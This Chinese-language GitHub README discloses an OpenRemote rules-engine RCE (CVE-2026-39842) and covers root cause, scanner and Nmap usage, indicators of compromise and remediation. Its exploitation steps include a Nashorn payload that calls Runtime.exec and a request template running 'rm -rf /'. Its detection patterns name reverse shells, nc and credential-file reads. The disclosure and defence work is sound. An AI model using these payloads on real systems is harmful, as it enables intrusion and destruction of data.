keraattin/CVE-2026-39842
GitHub: keraattin/CVE-2026-39842
识别并验证 OpenRemote 规则引擎中的 RCE 漏洞(CVE-2026-39842),提供检测、修复与取证的一站式参考。
Stars: 0 | Forks: 0
# CVE-2026-39842:OpenRemote 规则引擎表达式注入导致的 RCE
[](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-39842)
[](https://cwe.mitre.org/data/definitions/94.html)
[](https://cwe.mitre.org/data/definitions/917.html)
[](https://openremote.io/)
[](#remediation)
## TL;DR
OpenRemote 规则引擎中存在关键性的远程代码执行漏洞。拥有 `write:rules` 角色的认证攻击者可在服务器上执行任意代码并获得 root 权限。
- **CVSS 分数**:10.0(严重)
- **CVSS 向量**:`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`
- **受影响版本**:OpenRemote <= 1.21.0
- **修复版本**:OpenRemote >= 1.22.0
- **需要认证**:是(`write:rules` 角色,非超级用户也可)
- **利用方式**:以 root 身份执行 RCE、文件系统访问、窃取环境变量、多租户数据泄露
- **建议**:[GHSA-7mqr-33rv-p3mp](https://github.com/advisories/GHSA-7mqr-33rv-p3mp)
## 目录
- [快速要点](#quick-facts)
- [OpenRemote 是什么?](#what-is-openremote)
- [漏洞深度分析](#vulnerability-deep-dive)
- [影响分析](#impact-analysis)
- [受影响版本](#affected-versions)
- [检测](#detection)
- [妥协指标](#indicators-of-compromise)
- [修复措施](#remediation)
- [参考资料](#references)
- [作者](#author)
## 快速要点
| 方面 | 详情 |
|------|------|
| **CVE ID** | CVE-2026-39842 |
| **GHSA ID** | GHSA-7mqr-33rv-p3mp |
| **漏洞类型** | 代码注入 / 表达式语言注入 |
| **CVSS 分数** | 10.0(严重) |
| **CWE** | CWE-94、CWE-917 |
| **产品** | OpenRemote |
| **受影响版本** | <= 1.21.0 |
| **修复版本** | >= 1.22.0 |
| **需要认证** | 是 |
| **所需权限级别** | `write:rules` 角色(非超级用户) |
| **易受攻击端点** | POST /api/{realm}/rules/realm、POST /api/{realm}/rules/asset |
| **RCE 执行级别** | root |
| **可利用性** | 高 |
| **复杂度** | 低 |
| **发现日期** | 2026 |
## OpenRemote 是什么?
OpenRemote 是一个开源的物联网平台,用于构建智能建筑、城市和工业设施。它提供设备管理、自动化规则、分析以及物联网生态系统的集成。
### 主要特性
- 支持多种协议(MQTT、Modbus、BACnet、HTTP)的设备与资产管理
- 用于物联网自动化和逻辑处理的规则引擎
- 带有基于角色的访问控制的多租户架构
- 实时仪表板与监控
- 使用多种脚本语言创建自定义规则
- 用于集成与管理的 REST API
- 云端和本地部署选项
### OpenRemote 架构
```
Internet / Network
|
┌────────┴────────┐
v v
┌──────────────┐ ┌──────────────┐
| Web Browser | | Mobile App |
└──────────────┘ └──────────────┘
| |
└────────┬────────┘
v
┌──────────────────┐
| OpenRemote API |
| (REST/WebSocket) |
└────────┬─────────┘
v
┌──────────────────┐
| Manager Service |
| (Port 8080) |
└────────┬─────────┘
|
┌────────────────────┼────────────────────┐
| | |
v v v
┌──────────┐ ┌──────────┐ ┌──────────────┐
| Rules | | Asset | | Notification |
| Engine | | Storage | | Service |
└──────────┘ └──────────┘ └──────────────┘
| |
v v
┌──────────────────────────────────┐
| PostgreSQL / Timescale Database |
└──────────────────────────────────┘
```
## 漏洞深度分析
### 根本原因
该漏洞源于 OpenRemote 规则引擎中的两个关键缺陷:
**缺陷 1:未受沙箱限制的 Nashorn JavaScript 引擎**
Java Nashorn JavaScript 引擎被用于评估用户提供的规则表达式,且没有任何沙箱、安全管理器或 ClassFilter 限制。这使得攻击者能够直接从 JavaScript 上下文访问 Java 类。
**缺陷 2:禁用的 Groovy 沙箱**
Groovy 脚本引擎曾注册了 GroovyDenyAllFilter 以阻止代码执行,但该注册在代码库中被注释掉了。仅在 API 层面(RulesResourceImpl.java:262)存在 Groovy 限制,而 JavaScript 没有任何限制。
### 易受攻击代码路径
```
RulesResource.java (lines 153-158)
|
> POST request handler for rule creation
|
v
RulesetDeployment.java (line 368)
|
> scriptEngine.eval(ruleExpression)
|
v
Nashorn Engine
|
> No ClassFilter / SecurityManager
> Java.type() accessible
> Runtime.exec() available
```
### 授权绕过
该漏洞影响拥有 `write:rules` 角色的认证用户。RulesResourceImpl.java:262 处的授权检查仅阻止非超级用户使用 Groovy:
```
if (!isUserSuperuser && isGroovy) {
throw new UnauthorizedException("Groovy rules not allowed");
}
```
这意味着:
- 非超级用户 **可以** 创建 JavaScript 规则(无阻止)
- 非超级用户 **无法** 创建 Groovy 规则(被阻止)
- JavaScript 缺乏沙箱,因此任何拥有 `write:rules` 权限的认证用户都可能被利用
此外,通过反射访问 assetStorageService,可绕过多租户隔离,访问其他领域的数据。
### 攻击流程
```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks) |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root |
└─────────────────────────────────────────────────────┘
```
### 逐步利用
**步骤 1:获取 `write:rules` 凭证**
攻击者需要拥有 `write:rules` 角色,这可以是:
- 合法的系统管理员
- 被攻陷的账户
- 拥有过多权限分配的用户
**步骤 2:构造 JavaScript 载荷**
创建一个使用 JavaScript 访问 Java 运行时的规则表达式:
```
var result = "";
try {
var runtime = Java.type("java.lang.Runtime").getRuntime();
var process = runtime.exec("id");
var reader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream())
);
var line;
while ((line = reader.readLine()) != null) {
result += line;
}
} catch (e) {
result = e.toString();
}
result;
```
**步骤 3:发送至易受攻击的端点**
```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json
{
"name": "malicious_rule",
"enabled": true,
"trigger": "timer",
"actions": [
{
"type": "local_action",
"target": "asset_id",
"action": "perform_action",
"value": "// Payload here"
}
],
"ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}
```
**步骤 4:规则执行**
平台会立即或在计划触发时评估该规则,并以 root 权限执行载荷。
**步骤 5:后利用**
获得 root 权限的 RCE 后,攻击者可以:
- 读取敏感文件(/etc/passwd、应用配置)
- 窃取包含 API 密钥和凭证的环境变量
- 修改系统配置
- 安装后门或持久化机制
- 直接访问 PostgreSQL 数据库
- 在多租户部署中跨租户泄露数据
## 影响分析
### 严重性:CRITICAL(CVSS 10.0)
#### 远程代码执行
认证攻击者可在 OpenRemote 服务器上执行任意代码并获得 root 权限。这是最高严重性的影响,可导致完整系统沦陷。
```
Result of successful exploitation:
uid=0(root) gid=0(root) groups=0(root)
```
#### 文件系统访问
对系统所有文件的完全读写权限:
- 应用程序源代码泄露
- 敏感配置文件(数据库密码、API 密钥)
- 系统文件与凭证
- Docker 容器文件(若容器化部署)
#### 环境变量窃取
可访问包含以下信息的环境变量:
- 数据库连接字符串
- API 密钥与令牌
- OAuth 密钥
- 私有加密密钥
- AWS/云凭证
#### 数据泄露
在多租户部署中,攻击者可通过反射绕过租户隔离:
- 同时访问所有租户的数据
- 读取敏感的物联网传感器数据
- 修改跨组织的自动化规则
- 提取商业智能与专有信息
#### 系统完整性
- 永久后门安装
- 恶意软件部署
- 勒索软件执行
- 供应链污染(若用于开发)
#### 服务中断
- 通过资源耗尽实施拒绝服务
- 数据库删除或损坏
- 配置篡改
- 系统关机或重启
## 受影响版本
| 版本 | 状态 | 说明 |
|------|------|------|
| <= 1.15.0 | 漏洞存在 | 原始漏洞 |
| 1.16.0 | 漏洞存在 | 未修复 |
| 1.17.0 | 漏洞存在 | 未修复 |
| 1.18.0 | 漏洞存在 | 未修复 |
| 1.19.0 | 漏洞存在 | 未修复
| 1.20.0 | 漏洞存在 | 未修复 |
| 1.21.0 | 漏洞存在 | 最后受影响版本 |
| 1.22.0+ | 已修复 | JavaScript 规则引擎已完全移除 |
### 版本详情
- **脆弱范围**:1.0.0 至 1.21.0(所有包含 JS 规则引擎的版本)
- **修复版本**:1.22.0(JavaScript 规则引擎已完全移除)
- **回溯补丁**:不提供旧版本的安全回溯补丁;必须升级
## 检测
### 工作原理
检测机制通过多种方法识别 OpenRemote 实例并检查其漏洞状态:
1. **HTTP 标头探测**:查询 API 根端点以识别 OpenRemote 并提取版本信息
2. **端点指纹识别**:测试易受攻击端点的存在与行为
3. **版本关联**:将检测到的版本与已知漏洞范围比对
4. **响应分析**:检查 OpenRemote 特征的错误消息与响应结构
### Python 扫描器
`detect_openremote.py` 扫描器用于自动化检测与漏洞评估。
#### 安装
```
python3 -m pip install requests
```
#### 用法
```
python3 detect_openremote.py [OPTIONS]
```
#### 选项
| 选项 | 简写 | 长选项 | 类型 | 描述 |
|------|------|--------|------|---------|
| 目标 | -t | --target | 字符串 | 单个目标 URL(例如 http://10.0.0.1:8080) |
| 列表 | -l | --list | 文件 | 包含目标列表的文件(每行一个) |
| 输出 | -o | --output | 文件 | 将结果写入 CSV 文件 |
| 详细 | -v | --verbose | 标志 | 启用详细输出与详细响应 |
| 超时 | | --timeout | 整数 | HTTP 请求超时(秒,默认 10) |
| 标头 | | --no-banner | 标志 | 跳过标头打印 |
#### 示例:单个目标
```
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose
```
预期输出:
```
[*] Scanning http://10.0.0.1:8080
[+] OpenRemote detected!
Version: 1.21.0
Vulnerable: YES (CVE-2026-39842)
CVSS Score: 10.0 Critical
Status: Requires upgrade to 1.22.0+
```
#### 示例:多目标及输出
```
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15
```
`targets.txt` 文件内容:
```
http://192.168.1.100:8080
http://192.168.1.101:8080
https://openremote.example.com:8443
http://10.20.30.40:8080
```
`results.csv` 预期输出:
```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-
```
#### 示例:详细输出
```
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner
```
预期详细输出:
```
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
Response Code: 200
Server: Apache
Content-Type: text/html
[*] Checking /api/info
Response Code: 200
Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES
```
### Nmap NSE 脚本
`openremote-detect.nse` 脚本提供对 Nmap 的集成支持。
#### 安装
```
cp openremote-detect.nse /usr/share/nmap/scripts/
nmap --script-updatedb
```
#### 用法
```
nmap -p 8080 --script openremote-detect
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true
```
#### 示例:基础扫描
```
nmap -p 8080 --script openremote-detect 192.168.1.0/24
```
预期输出:
```
Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.21.0
| Vulnerable: YES
| CVE: CVE-2026-39842
|_ CVSS: 10.0 Critical
Nmap scan report for 192.168.1.101
Host is up (0.0031s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.22.1
| Vulnerable: NO
| Fixed Version: 1.22.0
|_ Status: Patched
```
#### 示例:详细扫描
```
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100
```
预期详细输出:
```
| openremote-detect:
| Host: 192.168.1.100:8080
| Detection Method: HTTP Banner Analysis
| Probe Endpoint: /api/info
| Response Code: 200
| Version: 1.21.0
| Version Detected: YES
| Vulnerable: YES
| CVE-2026-39842: AFFECTED
| CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| CVSS Score: 10.0
| Fix Available: YES
| Fixed Version: 1.22.0
| Authentication Required: YES
| Endpoint Vulnerable: POST /api/{realm}/rules/realm
|_ Endpoint Vulnerable: POST /api/{realm}/rules/asset
```
### 手动验证
使用 curl 手动验证漏洞:
**1. 识别 OpenRemote 版本**
```
curl -s http://target:8080/api/info | jq .
```
预期响应:
```
{
"version": "1.21.0",
"name": "OpenRemote",
"instanceId": "instance-123"
}
```
**2. 检查规则端点**
```
curl -s -H "Authorization: Bearer TOKEN" \
http://target:8080/api/master/rules/realm | head -20
```
若返回 401 或 403,则端点存在但需要认证。
**3. 认证并测试表达式注入**
```
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{
"name": "test_rule",
"trigger": "timer",
"ruleExpression": "1 + 1"
}' \
http://target:8080/api/master/rules/realm
```
若成功创建且版本 <= 1.21.0,则实例存在漏洞。
**4. 测试 JavaScript 执行(概念验证)**
```
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{
"name": "poc_rule",
"trigger": "timer",
"ruleExpression": "var x = 5; x * 2;"
}' \
http://target:8080/api/master/rules/realm
```
**5. 识别领域名称**
```
curl -s -H "Authorization: Bearer TOKEN" \
http://target:8080/api/admin/realms | jq .[].name
```
常见领域名称:`master`、`default`、`main`
## 妥协指标
### 日志指标
在应用程序日志中搜索以下模式:
**使用 JavaScript 载荷的规则创建**
```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
```
**规则中的命令执行尝试**
```
Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions
Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
```
**来自 Java 的意外进程执行**
```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process
```
**文件系统访问异常**
```
Pattern: Unexpected file reads from application directory
Files to monitor:
- /opt/openremote/config/
- /opt/openremote/.env
- /root/.ssh/
- /etc/passwd
```
**数据库访问模式**
```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
```
### 网络指标
**OpenRemote 进程的外联连接**
```
netstat -tlnp | grep -i java
Look for: Unexpected ESTABLISHED connections
Example: java process connecting to external C2 servers
```
**反向 Shell 回调**
```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
```
**横向移动尝试**
```
Pattern: Connections to internal resources (databases, APIs)
From: OpenRemote process
To: Database servers, internal APIs, SSH services
```
### 文件系统指标
**OpenRemote 目录中的可疑文件**
```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*
```
**被修改的 OpenRemote 二进制文件**
```
find /opt/openremote -type f -newer /opt/openremote/VERSION.txt
find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes
```
**计划任务或持久化作业**
```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'
```
### 内存与进程指标
**可疑的环境变量**
```
cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
```
**内存驻留载荷**
```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
```
## 修复措施
### 即时操作(0-24 小时)
**1. 升级到修复版本**
完整修复仅在 OpenRemote 1.22.0+ 中提供,该版本完全移除了 JavaScript 规则引擎。
```
# 备份当前安装
cp -r /opt/openremote /opt/openremote.backup.1.21.0
mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql
# 下载并安装 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote
# 验证版本
curl -s http://localhost:8080/api/info | jq .version
```
**2. 限制 API 访问**
若无法立即升级,可在防火墙/反向代理层面限制对易受攻击端点的访问:
```
# Nginx 示例
location ~ ^/api/.*/rules/ {
return 403;
}
```
**3. 审计现有规则**
列出所有规则并检查可疑的 JavaScript:
```
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/master/rules/realm | \
jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
```
删除包含 Java 互操作的规则:
```
curl -X DELETE \
-H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/master/rules/realm/{RULE_ID}
```
**4. 审查访问日志**
检查过去 30 天是否存在利用尝试:
```
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
grep -i "java\|runtime\|exec\|type"
```
**5. 凭证轮换**
轮换所有可能暴露的凭证:
```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets
```
### 短期操作(1-7 天)
**1. 网络隔离**
仅允许授权网络访问 OpenRemote API:
```
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization
```
**2. 角色审计**
审查并最小化拥有 `write:rules` 角色的用户:
```
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/admin/users | \
jq '.[] | select(.roles | contains("write:rules"))'
```
移除所有非必要用户的 `write:rules` 角色。
**3. 启用请求日志**
为所有 API 请求配置详细日志:
```
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE
```
**4. 数据库审计**
在特定日期后搜索数据库中创建的恶意规则:
```
SELECT id, name, ruleset_def, created_on
FROM RULE
WHERE created_on > '2026-04-01'
AND (
ruleset_def LIKE '%Java.type%'
OR ruleset_def LIKE '%Runtime%'
OR ruleset_def LIKE '%exec%'
);
```
**5. 威胁排查**
对 OpenRemote 服务器执行完整安全扫描:
```
# ClamAV 恶意软件扫描
clamscan -r --remove /opt/openremote/
# 检查后门
chkrootkit
rkhunter --check --skip-warnings
# 文件完整性验证
aide --check
```
### 长期操作(7-30 天)
**1. 完整系统加固**
- 在受限权限下运行 OpenRemote(禁用 root)
- 实施 SELinux 或 AppArmor 策略
- 在可能的情况下使用只读文件系统
- 启用系统级审计日志
**2. 访问控制实施**
- 为管理员用户实施多因素认证
- 使用 OAuth2/OIDC 替代令牌认证
- 对所有角色实施最小权限原则
- 定期进行访问审查与认证
**3. 应用程序安全**
- 为规则引擎实施 Web 应用防火墙(WAF)规则
- 对敏感端点启用请求速率限制
- 实施请求大小限制
- 严格验证所有用户输入
**4. 监控与告警**
部署 SIEM 检测规则:
```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM
```
**5. 事件响应计划**
制定并测试事件响应流程:
- 被攻陷 OpenRemote 实例的隔离步骤
- 取证收集流程
- 通知受影响客户端的流程
- 恢复与清理流程
- 事后复盘
**6. 持续监控**
实施持续安全监控:
```
# 每日漏洞扫描
nmap -p 8080 --script openremote-detect \
$(cat /etc/openremote/monitored_hosts.txt) \
--script-args 'onerror=continue' \
-oX /var/log/openremote-scan.xml
# 自动化漏洞版本警报
if version <= 1.21.0; then
send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi
```
## 参考资料
- **官方建议**:https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **CVE 记录**:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **NVD条目**:https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **OpenRemote 仓库**:https://github.com/openremote/openremote
- **OpenRemote 安全**:https://openremote.io/security
- **CWE-94 代码注入**:https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 EL 注入**:https://cwe.mitre.org/data/definitions/917.html
- **CVSS 计算器**:https://www.first.org/cvss/calculator/3.1
- **Nashorn 安全性**:https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager**:https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html
## 作者
**Kerem Oruc**
安全研究员,漏洞披露
如需咨询、报告或获取本漏洞的更多信息,请通过负责任披露渠道联系作者。
**最后更新**:2026-04-16
**版本**:1.0
**状态**:公开
标签:API安全, BurpSuite集成, CTI, CVE-2026-39842, CVSS 10.0, CWE-917, CWE-94, GHSA-7mqr-33rv-p3mp, JSON输出, JS文件枚举, OpenRemote, RCE, root权限, write:rules, 云计算, 写规则角色, 协议分析, 安全, 应用安全, 数据可视化, 文件系统访问, 服务端安全, 权限提升, 注入漏洞, 漏洞, 漏洞披露, 环境变量窃取, 编程工具, 表达式注入, 规则引擎, 认证绕过, 超时处理, 远程代码执行, 逆向工具